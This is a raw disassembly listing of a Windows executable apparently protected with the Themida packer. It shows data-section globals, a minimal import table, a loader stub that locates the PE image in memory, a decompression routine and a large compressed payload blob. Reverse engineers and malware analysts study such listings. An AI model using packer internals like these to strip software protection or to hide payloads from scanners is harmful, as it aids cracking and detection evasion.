dword_4DB970	dd 2470B58h		; DATA XREF: ___:00422F0Ew
					; sub_425AC7+9r ...
dword_4DB974	dd 0			; DATA XREF: sub_4261AB+36r
dword_4DB978	dd 0			; DATA XREF: sub_425AC7+16r
					; sub_425E95+4r ...
		align 10h
off_4DB980	dd offset aCM_unpackerPac ; DATA XREF: ___:00422FB1w
					; "C:\\m_unpacker\\packed.exe"
		align 8
byte_4DB988	db 0			; DATA XREF: sub_41B7D3+2Dw
					; sub_4239DB+5r
		align 4
dword_4DB98C	dd 0			; DATA XREF: sub_41B7D3+27w
dword_4DB990	dd 0			; DATA XREF: sub_41B7D3+4r
					; sub_41B7D3+8Bw
dword_4DB994	dd 0			; DATA XREF: sub_41C0F4+3Br
					; sub_41C0F4+91w
		dd 0
dword_4DB99C	dd 0			; DATA XREF: sub_41C748+Aw
dword_4DB9A0	dd 0			; DATA XREF: sub_41D081+5Er
					; sub_41D081+A4w
		align 8
word_4DB9A8	dw 0			; DATA XREF: sub_41D081+55r
					; sub_41D081+9Ao
word_4DB9AA	dw 0			; DATA XREF: sub_41D081+48r
		db 2 dup(0)
word_4DB9AE	dw 0			; DATA XREF: sub_41D081+3Br
word_4DB9B0	dw 0			; DATA XREF: sub_41D081+2Er
word_4DB9B2	dw 0			; DATA XREF: sub_41D081+21r
		align 8
dword_4DB9B8	dd 0			; DATA XREF: ___:loc_422EDCr
					; ___:loc_422F1Er ...
		align 10h
dword_4DB9C0	dd 0			; DATA XREF: sub_41DA29r ___:0041DA50o ...
dword_4DB9C4	dd 0			; DATA XREF: sub_41EB10+4Bw
					; sub_41EC29+2Dw ...
dword_4DB9C8	dd 0			; DATA XREF: sub_41F312r
dword_4DB9CC	dd 0			; DATA XREF: sub_41B202:loc_41B31Er
					; sub_41B202:loc_41B43Fr ...
dword_4DB9D0	dd 1			; DATA XREF: sub_41FEA9:loc_420024r
					; sub_420042+4w ...
dword_4DB9D4	dd 0			; DATA XREF: sub_420446+37r
		dd 0
dword_4DB9DC	dd 0			; DATA XREF: sub_4219D9+11r
					; sub_421ADD+1Ar ...
byte_4DB9E0	db 0			; DATA XREF: sub_4219D9+3r
					; sub_4219D9+98r ...
		align 4
dword_4DB9E4	dd 0			; DATA XREF: sub_421ADD+11r
					; sub_421BBB+21w ...
byte_4DB9E8	db 0			; DATA XREF: sub_421BBB+51w
		align 4
dword_4DB9EC	dd 0			; DATA XREF: sub_421DB1+4Er
					; sub_42218C+3Ar ...
dword_4DB9F0	dd 0			; DATA XREF: sub_421DB1+5Cr
					; sub_42218C+43r ...
dword_4DB9F4	dd 0			; DATA XREF: sub_41C9CE+7Ar
					; sub_421F58+5r
dword_4DB9F8	dd 0			; DATA XREF: sub_42255C+29r
dword_4DB9FC	dd 2 dup(0)		; DATA XREF: sub_41D160+Co
dword_4DBA04	dd 0			; DATA XREF: sub_41D5AA+4r
					; sub_41D5AA+6Er ...
		dd 3 dup(0)
dword_4DBA14	dd 0			; DATA XREF: sub_41D834+61r
					; sub_41D834+BFr ...
		dd 0
dword_4DBA1C	dd 1			; DATA XREF: sub_422ACA+28r
					; sub_422ACA+4Cw ...
dword_4DBA20	dd 0			; DATA XREF: ___:00422D28r
					; ___:00422D34w ...
aCM_unpackerPac	db 'C:\m_unpacker\packed.exe',0 ; DATA XREF: ___:loc_422F9Ao
					; ___:off_4DB980o
		align 10h
		dd 3Ah dup(0)
dword_4DBB28	dd 1			; DATA XREF: ___:004231D2r
					; ___:004231F3w ...
dword_4DBB2C	dd 0			; DATA XREF: sub_423590+21r
dword_4DBB30	dd 0			; DATA XREF: sub_41F32D+154w
					; sub_420446:loc_42046Fw ...
dword_4DBB34	dd 0			; DATA XREF: sub_41F32D+7r
dword_4DBB38	dd 1			; DATA XREF: sub_423CEC+26r
					; sub_423CEC:loc_423D56w
		align 10h
word_4DBB40	dw 0			; DATA XREF: sub_4245E9+1Ao
					; sub_4245E9+46r
byte_4DBB42	db 0			; DATA XREF: sub_4245E9+39r
		align 4
dword_4DBB44	dd 7 dup(0)		; DATA XREF: sub_4245E9+52o
dword_4DBB60	dd 0			; DATA XREF: sub_4245E9+40w
					; sub_4245E9+5Co
dword_4DBB64	dd 0			; DATA XREF: sub_4245E9+4Dw
dword_4DBB68	dd 0			; DATA XREF: sub_4245E9+31w
dword_4DBB6C	dd 0			; DATA XREF: sub_4245E9+52w
dword_4DBB70	dd 77C26E79h		; DATA XREF: sub_42470C:loc_42472Fr
					; sub_42470C+38r
		align 8
dword_4DBB78	dd 0			; DATA XREF: sub_4247EC+11w
					; sub_4247EC+63w ...
		align 10h
dword_4DBB80	dd 0			; DATA XREF: sub_4247EC+33o
					; sub_4247EC+46r
dword_4DBB84	dd 10h dup(0)		; DATA XREF: sub_4247EC+C1o
word_4DBBC4	dw 0			; DATA XREF: sub_424A4A+A8r
word_4DBBC6	dw 0			; DATA XREF: sub_4247EC+54r
					; sub_424A4A+DBr ...
word_4DBBC8	dw 0			; DATA XREF: sub_424A4A+CAr
word_4DBBCA	dw 0			; DATA XREF: sub_424A4A+D3r
					; sub_424A4A:loc_424B3Cr
word_4DBBCC	dw 0			; DATA XREF: sub_424A4A+C0r
word_4DBBCE	dw 0			; DATA XREF: sub_424A4A+B8r
word_4DBBD0	dw 0			; DATA XREF: sub_424A4A+B0r
word_4DBBD2	dw 0			; DATA XREF: sub_424A4A+9Er
dword_4DBBD4	dd 0			; DATA XREF: sub_4247EC+4Br
dword_4DBBD8	dd 10h dup(0)		; DATA XREF: sub_4247EC+FBo
word_4DBC18	dw 0			; DATA XREF: sub_424A4A+46r
word_4DBC1A	dw 0			; DATA XREF: sub_4247EC:loc_424863r
					; sub_424A4A+78r ...
word_4DBC1C	dw 0			; DATA XREF: sub_424A4A+67r
word_4DBC1E	dw 0			; DATA XREF: sub_424A4A+70r
					; sub_424A4A:loc_424ACEr
word_4DBC20	dw 0			; DATA XREF: sub_424A4A+5Dr
word_4DBC22	dw 0			; DATA XREF: sub_424A4A+55r
word_4DBC24	dw 0			; DATA XREF: sub_424A4A+4Dr
word_4DBC26	dw 0			; DATA XREF: sub_424A4A+3Er
dword_4DBC28	dd 0			; DATA XREF: sub_4247EC+80r
dword_4DBC2C	dd 0			; DATA XREF: sub_4247EC+132r
					; sub_4247EC:loc_424938r ...
dword_4DBC30	dd 0			; DATA XREF: sub_4247D7r sub_4247D7+Ew
dword_4DBC34	dd 0			; DATA XREF: sub_424D78+3r
					; sub_424D78+2Ew ...
dword_4DBC38	dd 0			; DATA XREF: sub_424D78+43w
					; sub_424D78:loc_424DC7r
dword_4DBC3C	dd 0			; DATA XREF: sub_424D78+4Aw
					; sub_424D78+60r
dword_4DBC40	dd 0			; DATA XREF: sub_423A33+3Fr
dword_4DBC44	dd 0			; DATA XREF: sub_425955:loc_4259BCr
					; sub_425955+6Do
dword_4DBC48	dd 0			; DATA XREF: sub_425955:loc_425993r
					; sub_425955+44o
dword_4DBC4C	dd 0			; DATA XREF: sub_425955:loc_425986r
					; sub_425955+37o
dword_4DBC50	dd 0			; DATA XREF: sub_425955:loc_4259A0r
					; sub_425955+51o
		align 8
dword_4DBC58	dd 0			; DATA XREF: sub_425F03+28r
					; sub_425F03+48w ...
dword_4DBC5C	dd 0			; DATA XREF: sub_426988+28r
					; sub_426988+4Cw ...
dword_4DBC60	dd 0			; DATA XREF: sub_426C13+26r
					; sub_426C13:loc_426C7Dw
byte_4DBC64	db 0			; DATA XREF: sub_40D879r sub_40D879+9w
		align 4
dword_4DBC68	dd 2471140h		; DATA XREF: sub_41DBF0:loc_41DC01r
					; sub_41F49D+14r ...
		dd 5 dup(0)
dword_4DBC80	dd 400h	dup(0)		; DATA XREF: ___:off_43D0B8o
					; ___:0043D0C0o
dword_4DCC80	dd 200h			; DATA XREF: sub_41DBF0+9r
					; sub_41DBF0+56r ...
		dd 7 dup(0)
dword_4DCCA0	dd 2470650h		; DATA XREF: sub_41F043+75r
					; sub_41F11C+2Ar ...
dword_4DCCA4	dd 3Fh dup(0)		; DATA XREF: ___:00423394o
dword_4DCDA0	dd 20h			; DATA XREF: sub_41DA72+8r
					; sub_41F11C+Cr ...
dword_4DCDA4	dd 4E4h			; DATA XREF: sub_41FEA9+14r
					; sub_41FEA9+65w ...
		align 10h
dword_4DCDB0	dd 3 dup(0)		; DATA XREF: sub_41FEA9+123o
					; sub_41FEA9+171o ...
dword_4DCDBC	dd 0			; DATA XREF: sub_41FEA9+108w
					; sub_41FEA9+15Dw ...
byte_4DCDC0	db 0			; DATA XREF: sub_4200E8:loc_4201F4w
					; sub_4200E8:loc_420211w ...
		align 4
		dd 0Fh dup(0)
		dd 63626100h, 67666564h, 6B6A6968h, 6F6E6D6Ch, 73727170h
		dd 77767574h, 7A7978h, 0
		dd 43424100h, 47464544h, 4B4A4948h, 4F4E4D4Ch, 53525150h
		dd 57565554h, 5A5958h, 0
		dd 83000000h, 0
		dd 9A0000h, 9E009Ch, 2 dup(0)
		dd 8A0000h, 0FF8E008Ch,	2 dup(0)
		dd 0AA0000h, 2 dup(0)
		dd 0B500h, 0BA0000h, 0
		dd 0E3E2E1E0h, 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h
		dd 0F6F5F4h, 0FBFAF9F8h, 0DFFEFDFCh, 0C3C2C1C0h, 0C7C6C5C4h
		dd 0CBCAC9C8h, 0CFCECDCCh, 0D3D2D1D0h, 0D6D5D4h, 0DBDAD9D8h
		dd 9FDEDDDCh
byte_4DCEC0	db 0			; DATA XREF: sub_41FEA9+5Co
					; sub_41FEA9+AFo ...
byte_4DCEC1	db 0			; DATA XREF: sub_41B9D1+5Dr
					; sub_41FEA9+A0w ...
		align 4
		dd 0Fh dup(0)
		dd 10100000h, 6	dup(10101010h),	0
		dd 20200000h, 6	dup(20202020h),	2 dup(0)
		dd 20h,	10000000h, 10001000h, 2	dup(0)
		dd 20000000h, 20002000h, 10h, 0
		dd 20000000h, 2	dup(0)
		dd 200000h, 20000000h, 0
		dd 10101000h, 5	dup(10101010h),	10101000h, 10101010h, 6	dup(20202020h)
		dd 20202000h, 20202020h, 20h
dword_4DCFC4	dd 0			; DATA XREF: sub_41FEA9+6Ew
					; sub_41FEA9+12Bw ...
dword_4DCFC8	dd 0			; DATA XREF: sub_41E4D4+5r
					; sub_41E4D4+32w
dword_4DCFCC	dd 0			; DATA XREF: sub_41DEA2+23Ar
					; sub_41DEA2+25Ar ...
dword_4DCFD0	dd 0			; DATA XREF: sub_41DEA2+311w
					; sub_41E1CB:loc_41E21Br ...
dword_4DCFD4	dd 0			; DATA XREF: sub_41DEA2+22Dr
					; sub_41DEA2+260r ...
dword_4DCFD8	dd 0			; DATA XREF: sub_41DE77r
					; sub_41DEA2+2CBr ...
dword_4DCFDC	dd 0			; DATA XREF: sub_41DE77+8r
					; sub_41DEA2+2D0r ...
dword_4DCFE0	dd 0			; DATA XREF: sub_41B202+5Cr
					; sub_41B513+Fr ...
dword_4DCFE4	dd 2470000h		; DATA XREF: sub_41B0B1+5Ar
					; sub_41B202+C0r ...
dword_4DCFE8	dd 1			; DATA XREF: sub_41B0B1+Cr
					; sub_41B202:loc_41B232r ...
dword_4DCFEC	dd 142340h		; DATA XREF: ___:00422E81r
					; ___:00422FACr
dword_4DCFF0	dd 1			; DATA XREF: ___:00422F77w sub_425AC7r
dword_4DCFF4	dd 1			; DATA XREF: sub_42026Dr
					; sub_42026D+11w ...
dword_4DCFF8	dd 2470758h		; DATA XREF: sub_41B7D3+3Er
					; sub_41CFD3+13r ...
dword_4DCFFC	dd 2470758h		; DATA XREF: sub_41B7D3+35r
					; sub_41B7D3+57r ...
		dd 127h, 19Ch, 1DCh, 221h, 233h, 290h, 3FAh dup(0)
___		ends

; Section 2. (virtual address 000DE000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00001000 (   4096.)
; Offset to raw	data for section: 000DE000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_rsrc___	segment	para public 'DATA' use32
		assume cs:_rsrc___
		;org 4DE000h
		dd 400h	dup(0)
_rsrc___	ends

; Section 3. (virtual address 000DF000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00001000 (   4096.)
; Offset to raw	data for section: 000DF000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata__	segment	para public 'DATA' use32
		assume cs:_idata__
		;org 4DF000h
a7icwCw		db '7¨çwµ\çw',0
		align 4
		dd 77345219h, 4	dup(0)
		dd 0DF050h, 0DF000h, 3 dup(0)
		dd 0DF079h, 0DF00Ch, 5 dup(0)
aKernel32_dll_0	db 'KERNEL32.dll',0
		db 2 dup(0), 43h
aReatefilea	db 'reateFileA',0
		align 4
		dd 69784500h, 6F725074h, 73736563h, 4D4F4300h, 334C5443h
		dd 6C642E32h, 6Ch
aInitcommoncont	db 'InitCommonControls',0
		align 1000h
_idata__	ends

; Section 4. (virtual address 000E0000)
; Virtual size			: 00101000 (1052672.)
; Section size in file		: 00101000 (1052672.)
; Offset to raw	data for section: 000E0000
; Flags	E0000060: Text Data Executable Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
Themida_	segment	para public 'CODE' use32
		assume cs:Themida_
		;org 4E0000h
		assume es:nothing, ss:nothing, ds:___, fs:nothing, gs:nothing
		dd 8CDA6D93h, 408AAh, 54467h, 95172h, 0
; ---------------------------------------------------------------------------
		mov	eax, 0
		pusha
		or	eax, eax
		jz	short loc_4E0086
		call	$+5
		pop	eax
		add	eax, 53h
		cmp	byte ptr [eax],	0E9h
		jnz	short loc_4E0041
		popa
		jmp	short loc_4E0076
; ---------------------------------------------------------------------------
		db 0DBh, 2Dh, 37h
		db 0, 4Eh, 0
		dt 9.2233720368547758075e18
; ---------------------------------------------------------------------------


loc_4E0041:				; CODE XREF: Themida_:004E002Cj
		call	$+5
		pop	eax


loc_4E0047:				; DATA XREF: ___:0043811Co
		and	eax, 0FFFFF000h
		xor	edi, edi


loc_4E004E:				; CODE XREF: Themida_:004E0072j
		mov	bx, 5A19h
		add	bx, 34h
		cmp	[eax], bx
		jnz	short loc_4E006D
		movzx	edx, word ptr [eax+3Ch]
		add	edx, eax
		mov	ebx, 44E9h
		add	ebx, 67h
		cmp	[edx], ebx
		jz	short loc_4E0074


loc_4E006D:				; CODE XREF: Themida_:004E0059j
		sub	eax, 1000h
		jmp	short loc_4E004E
; ---------------------------------------------------------------------------


loc_4E0074:				; CODE XREF: Themida_:004E006Bj
		mov	edi, eax


loc_4E0076:				; CODE XREF: Themida_:004E002Fj
		jmp	loc_4E0265
; ---------------------------------------------------------------------------
		add	eax, edi
		mov	ecx, 0E026Ah
		add	ecx, edi
		jmp	short loc_4E0090
; ---------------------------------------------------------------------------


loc_4E0086:				; CODE XREF: Themida_:004E001Cj
		mov	eax, offset loc_54AECA
		mov	ecx, offset word_4E026A


loc_4E0090:				; CODE XREF: Themida_:004E0084j
		push	eax
		push	ecx
		call	sub_4E011B
		call	$+5
		pop	eax
		sub	eax, 26h
		mov	ecx, 1EFh
		mov	byte ptr [eax],	0E9h
		sub	ecx, 5
		mov	[eax+1], ecx
		popa
		jmp	loc_4E0265
; ---------------------------------------------------------------------------
		dw 9328h
		dd 788AE4C9h, 815EBCh, 63432DA8h, 0F065446Ch, 3ADC23BEh
		dd 759CA4D8h, 3163C78Eh, 93264C98h, 78F2E4C9h, 172F5EBCh
		dd 9122458Bh, 0D8B164C8h, 0DCBA75EBh, 1D3B76EDh, 5A4E2BEFh
		dd 1848C86h, 662A4924h,	1799B7DEh, 9122458Bh, 0D8B164C8h
		dd 0DCBA75EBh, 1D3B76EDh, 3163C78Eh, 93264C98h
		db 0C8h, 0E4h, 0F2h

; =============== S U B	R O U T	I N E =======================================



sub_4E011B	proc near		; CODE XREF: Themida_:004E0092p

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		pusha
		mov	esi, [esp+20h+arg_0]
		mov	edi, [esp+20h+arg_4]
		cld
		mov	dl, 80h


loc_4E0127:				; CODE XREF: sub_4E011B:loc_4E013Bj
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		mov	ebx, 2


loc_4E0132:				; CODE XREF: sub_4E011B+7Aj
					; sub_4E011B+C3j ...
		add	dl, dl
		jnz	short loc_4E013B
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E013B:				; CODE XREF: sub_4E011B+19j
		jnb	short loc_4E0127
		add	dl, dl
		jnz	short loc_4E0146
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E0146:				; CODE XREF: sub_4E011B+24j
		jnb	short loc_4E0197
		xor	eax, eax
		add	dl, dl
		jnz	short loc_4E0153
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E0153:				; CODE XREF: sub_4E011B+31j
		jnb	loc_4E0238
		add	dl, dl
		jnz	short loc_4E0162
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E0162:				; CODE XREF: sub_4E011B+40j
		adc	eax, eax
		add	dl, dl
		jnz	short loc_4E016D
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E016D:				; CODE XREF: sub_4E011B+4Bj
		adc	eax, eax
		add	dl, dl
		jnz	short loc_4E0178
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E0178:				; CODE XREF: sub_4E011B+56j
		adc	eax, eax
		add	dl, dl
		jnz	short loc_4E0183
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E0183:				; CODE XREF: sub_4E011B+61j
		adc	eax, eax
		jz	short loc_4E018D
		push	edi
		sub	edi, eax
		mov	al, [edi]
		pop	edi


loc_4E018D:				; CODE XREF: sub_4E011B+6Aj
		mov	[edi], al
		inc	edi
		mov	ebx, 2
		jmp	short loc_4E0132
; ---------------------------------------------------------------------------


loc_4E0197:				; CODE XREF: sub_4E011B:loc_4E0146j
		mov	eax, 1


loc_4E019C:				; CODE XREF: sub_4E011B:loc_4E01B0j
		add	dl, dl
		jnz	short loc_4E01A5
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E01A5:				; CODE XREF: sub_4E011B+83j
		adc	eax, eax
		add	dl, dl
		jnz	short loc_4E01B0
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E01B0:				; CODE XREF: sub_4E011B+8Ej
		jb	short loc_4E019C
		sub	eax, ebx
		mov	ebx, 1
		jnz	short loc_4E01E3
		mov	ecx, 1


loc_4E01C0:				; CODE XREF: sub_4E011B:loc_4E01D4j
		add	dl, dl
		jnz	short loc_4E01C9
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E01C9:				; CODE XREF: sub_4E011B+A7j
		adc	ecx, ecx
		add	dl, dl
		jnz	short loc_4E01D4
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E01D4:				; CODE XREF: sub_4E011B+B2j
		jb	short loc_4E01C0
		push	esi
		mov	esi, edi
		sub	esi, ebp
		rep movsb
		pop	esi
		jmp	loc_4E0132
; ---------------------------------------------------------------------------


loc_4E01E3:				; CODE XREF: sub_4E011B+9Ej
		dec	eax
		shl	eax, 8
		mov	al, [esi]
		inc	esi
		mov	ebp, eax
		mov	ecx, 1


loc_4E01F1:				; CODE XREF: sub_4E011B:loc_4E0205j
		add	dl, dl
		jnz	short loc_4E01FA
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E01FA:				; CODE XREF: sub_4E011B+D8j
		adc	ecx, ecx
		add	dl, dl
		jnz	short loc_4E0205
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E0205:				; CODE XREF: sub_4E011B+E3j
		jb	short loc_4E01F1
		cmp	eax, 7D00h
		jnb	short loc_4E0228
		cmp	eax, 500h
		jb	short loc_4E0223
		inc	ecx
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	loc_4E0132
; ---------------------------------------------------------------------------


loc_4E0223:				; CODE XREF: sub_4E011B+F8j
		cmp	eax, 7Fh
		ja	short loc_4E022B


loc_4E0228:				; CODE XREF: sub_4E011B+F1j
		add	ecx, 2


loc_4E022B:				; CODE XREF: sub_4E011B+10Bj
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	loc_4E0132
; ---------------------------------------------------------------------------


loc_4E0238:				; CODE XREF: sub_4E011B:loc_4E0153j
		mov	al, [esi]
		inc	esi
		xor	ecx, ecx
		shr	al, 1
		jz	short loc_4E0259
		adc	ecx, 2
		mov	ebp, eax
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		mov	ebx, 1
		jmp	loc_4E0132
; ---------------------------------------------------------------------------


loc_4E0259:				; CODE XREF: sub_4E011B+125j
		sub	edi, [esp+20h+arg_4]
		mov	[esp+20h+var_4], edi
		popa
		retn	8
sub_4E011B	endp

; ---------------------------------------------------------------------------


loc_4E0265:				; CODE XREF: Themida_:loc_4E0076j
					; Themida_:004E00B1j
		jmp	loc_54AECA
; ---------------------------------------------------------------------------
word_4E026A	dw 38E9h		; DATA XREF: Themida_:004E008Bo
		dd 15334F4h, 138EFAAh, 23BEBA42h, 0BB42B822h, 0E11122EFh
		dd 1F3FE1Eh, 0E5EB2E84h, 0B1EAA89Fh, 372203CCh,	7098B3FBh
		dd 45DE8503h, 0F83DC292h, 65076854h, 6164696Dh,	0FD7708h
		dd 74736552h, 41E67261h, 2E7A7071h, 0AE1787Ch, 0BEC89FD3h
		dd 37036F3h, 5C71E485h,	0E57AFD21h, 35E6576Ch, 0BB0BE103h
		dd 848B24BCh, 7838EF7Fh, 22BEAB42h, 0BA0BE121h,	0AB94ECF4h
		dd 13329BFh, 0C7EB106Eh, 0D421C58Bh, 20C2E860h,	3ED815Dh
		dd 60F3501h, 5399589h, 51B50D84h, 55854216h, 0BD830033h
		dd 80831939h, 728B0C74h, 0B8E226E8h, 0BCC247A9h, 24714470h
		dd 2BBD3EC4h, 0E8456A01h, 682981A3h, 783749Ah, 0A40DFE9h
		dd 7A894B25h, 0E9D5440Ah, 4C021424h, 8B55D057h,	0C483EC0Ah
		dd 5AC0EED8h, 88F1EA81h, 0C712DA8Bh, 836D845h, 8940310Eh
		dd 0F97D8108h, 741D8C80h, 0FE08200Fh, 455B6683h, 431812FFh
		dd 0DC36E1EBh, 526DD61h, 104C2C9h, 7CC48146h, 4902A3FFh
		dd 363A88h, 8B80458Dh, 0C728085Dh, 50891985h, 0D10A408Dh
		dd 181588C3h, 140B8941h, 4006BD81h, 0E352755Dh,	0BA8D8527h
		dd 7580641Dh, 0BB0E8A80h, 15B92F4h, 5437ABB8h, 0F9D0D378h
		dd 4B08870Fh, 0AF60F775h, 0A44647C3h, 54468C4Ah, 57D142F9h
		dd 0D0408A61h, 14FBEBF0h, 4DFC45EEh, 0AD04EB14h, 80461879h
		dd 0BAF7403Eh, 34DC84A6h, 0EB0C7DC3h, 0F83E217Fh, 0F0126D99h
		dd 0F40E9509h, 0C14A0210h, 8004F065h, 0E0D1F8D6h, 0C0C27203h
		dd 8ADB3328h, 8039301Ch, 0A7298FBh, 7A77390Ah, 0E4EB7D05h
		dd 6114CF22h, 660A0DECh, 1EDE08FEh, 0AC39DBEh, 411A1058h
		dd 0A0B6172h, 0BD067746h, 30014424h, 0F4ECF05Dh, 2E67D83h
		dd 0CB07236h, 0A5766EC0h, 0F826AACCh, 8D0E9C83h, 3B01A8D4h
		dd 820FFC55h, 0B0BD5378h, 387CAA83h, 0C108BAA1h, 5070C1B9h
		dd 3780BDFCh, 47CCFE81h, 0FA750E49h, 6A2E22B9h,	1F01BBE7h
		dd 0EB82F1A3h, 8EEC0C78h, 396B8601h, 65510710h,	1DBF36C1h
		dd 268A28F7h, 5E95007h,	0B8100059h, 438BBCE0h, 2C000438h
		dd 2FBA61C3h, 0C247A9Eh, 62CF8C67h, 0A0C6F13Eh,	0F43F13EAh
		dd 0AADFCFCh, 4D2C43DBh, 591000EDh, 0C9CE023Eh,	8CFDD50Eh
		dd 34CB47E0h, 39826700h, 765B184Eh, 3D517A0Fh, 3BD1043Eh
		dd 5646303Bh, 0EA2E0975h, 480EC011h, 9065E4ECh,	845B0650h
		dd 8E05C506h, 47F17E96h, 0C2048553h, 718C2940h,	0DBE78205h
		dd 0FFB2D20Eh, 4778121h, 341D2280h, 33F984C1h, 0BC207532h
		dd 0AEE0E3Fh, 230EFCCh,	0EC7141E6h, 0CC7F8C33h,	1940F2FFh
		dd 4AE9FD45h, 0C4620060h, 254D8C52h, 0AA821011h, 5AAB99B1h
		dd 141384A1h, 5EC1DE56h, 5489EE82h, 47FF0881h, 0B9548A9Fh
		dd 97234013h, 0D83043A5h, 3BAAD5E4h, 8D9EABB4h,	80F440DAh
		dd 813D0B60h, 0BC26E261h, 0CAE45632h, 3A863310h, 53A06B45h
		dd 11C304E9h, 90C45B21h, 0A125558Ah, 89845B3h, 53432115h
		dd 108CC415h, 0CC826045h, 19C81538h, 0C422AE86h, 8C0F4002h
		dd 2E68EADBh, 0F54F1211h, 0E572343h, 8A44C45Fh,	20176275h
		dd 0FFC45747h, 7E7FD730h, 8EDF9DCh, 1DE6868Ah, 0A20EFA18h
		dd 22E9812Dh, 0EC830779h, 0CEF5977Ch, 8F72AA00h, 729FCCB3h
		dd 0E71C002Fh, 5F0DC02Bh, 5A18096Fh, 683B08E9h,	8E3E1FADh
		dd 0F6D08E94h, 56C28261h, 0F0824865h, 0BBF38A04h, 4D9319EAh
		dd 9CB9E032h, 5C75CFh, 82D0E0C0h, 0E2787AECh, 0FB8C5714h
		dd 434703D6h, 97B56D2Fh, 266FC480h, 8C77073Ah, 0A01A8AF9h
		dd 6A7CA3D8h, 0EA062276h, 26121B17h, 0D136382h,	0AB000EE9h
		dd 740DBC7Bh, 0E3A2403h, 0CF897F2h, 0C6A4E74Ch,	64EA0404h
		dd 5824B60h, 0C9C02F14h, 5A0F78CBh, 171EEA30h, 775C109h
		dd 0CE6F38AAh, 5356D9E0h, 0E8FA7881h, 1E6068BBh, 32820018h
		dd 1A61C1B5h, 0B6747A74h, 4E3DCB00h, 11939D1Fh,	76EC1D52h
		dd 3187059h, 0BE01D8E8h, 4CC4F735h, 318C23E0h, 1108C3F9h
		dd 54ECC200h, 0CA7037E8h, 0DF133926h, 0D0E5F180h, 7E48F6A9h
		dd 38821B30h, 693A038h,	4C209C31h, 75F8401Ch, 0F6715A60h
		dd 71687Fh, 0C8FBF51Eh,	6697041Dh, 0EF3F3E00h, 52274EEDh
		dd 50380E9Dh, 0A0E71CDFh, 9E61B10Fh, 391BBC9h, 0F858CF63h
		dd 0DE17D80Dh, 614F60CCh, 0AE829742h, 105FEB00h, 1A0BCFF4h
		dd 41C0E966h, 2C470359h, 9EA17CDEh, 0BC895800h,	0A4F06448h
		dd 0CDE30032h, 0B2D7C7FFh, 1207D196h, 4DCB10E1h, 604926h
		dd 67F90A51h, 73466C30h, 74931948h, 0DB30FBF0h,	62C41969h
		dd 423200D6h, 0B265CC2Ah, 310C55BEh, 387316E5h,	196B3830h
		dd 9F7C083h, 198E690Dh,	0F805A7EAh, 0C65FFBE1h,	423EFE80h
		dd 217260B3h, 0BB18A6F1h, 30AAC480h, 19683FBDh,	0C0617512h
		dd 68E5B118h, 0EDD93083h, 72E049BAh, 0CD00DF61h, 520A4B0Ch
		dd 0D0DAC9h, 69550792h,	6E635BB6h, 420CEC1Ch, 838B755h
		dd 32E6CAEh, 537BC0C3h,	9601187Ah, 54BE81FDh, 42F7871Ch
		dd 6B1E0808h, 7C800FBh,	9B02C2A8h, 0CA06C676h, 70B942D5h
		dd 0D7FB1561h, 13009C6Dh, 0DB85F78Eh, 456EFD16h, 7B350020h
		dd 90C5D8h, 198F26Fh, 0AA6BD5EEh, 0FBF523Ch, 0C037CAEDh
		dd 19D94FA2h, 0C1CC2ADAh, 0C25A1090h, 3B586130h, 60F3F6C0h
		dd 20520EC1h, 0F0726958h, 0BC3CDF14h, 8B8F84ACh, 144A5D00h
		dd 7502F829h, 12A536DBh, 0E1A88038h, 53FBC5A9h,	0AA08FCC3h
		dd 2A3E5EC1h, 3A7A0CDCh, 36F3640h, 61CD4FD2h, 15F3B0D7h
		dd 76198015h, 927D3088h, 824462h, 75AD1F94h, 0B69BF61Eh
		dd 77604277h, 0C67FCC29h, 7701227h, 0C0847C9h, 4F41D02Ch
		dd 426EEEC0h, 18A7E9E9h, 3EF1A3Ch, 9068DD95h, 40C362C0h
		dd 5E519818h, 0FAA72B31h, 0FFF10180h, 64BA1802h, 6778242Ah
		dd 0D2624F0Ah, 0CD81B8C4h, 36E4B219h, 400302h, 0F9C540FAh
		dd 0B0C0E523h, 0E06DABFh, 30214D9h, 19C0FBE0h, 6400B665h
		dd 691ECFACh, 241437A6h, 3E1CC98Fh, 0A8426C94h,	445E110h
		dd 313DFA97h, 43304903h, 0BA040CFh, 0CB006DD5h,	93621E53h
		dd 0A98F9F2h, 8D06F675h, 52588F8Ch, 0CD2F61C0h,	0EE315510h
		dd 7419D135h, 0B1E68C50h, 714024Eh, 0FC542463h,	4408E846h
		dd 0E295645h, 84065C6h,	31ED06F8h, 0F630BCA8h, 0C35C024h
		dd 274CB082h, 55DD0058h, 0C2AEDAAh, 4606B02Ah, 879A5AC0h
		dd 126B7050h, 407052F9h, 92D88360h, 4630EDB7h, 0B3E25048h
		dd 8C6C1D9Dh, 7034006Ah, 0CE9B711Dh, 170083EAh,	2025FE4Ch
		dd 0B4051Eh, 0DCB39139h, 6E1DBA47h, 0C616F70Eh,	99EF8717h
